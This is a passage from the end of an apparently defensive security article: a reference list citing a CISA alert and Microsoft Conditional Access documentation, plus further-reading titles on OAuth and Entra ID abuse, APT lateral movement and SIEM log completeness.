- CISA Alert AA25-039A: OAuth 2.0 Device Authorization Abuse
- Microsoft Documentation: Conditional Access authentication flows policy
Further Reading
- How Attackers Abuse Entra ID & OAuth Without Malware consent abuse, service principal backdoors, and token theft without MFA bypass
- How APT Groups Pivot from Initial Access to Domain Dominance in Under 4 Hours what happens after identity is compromised
- Windows Event Log Architecture: Why Your SIEM Is Missing 30% of Events verify the sign-in logs feeding your detections are complete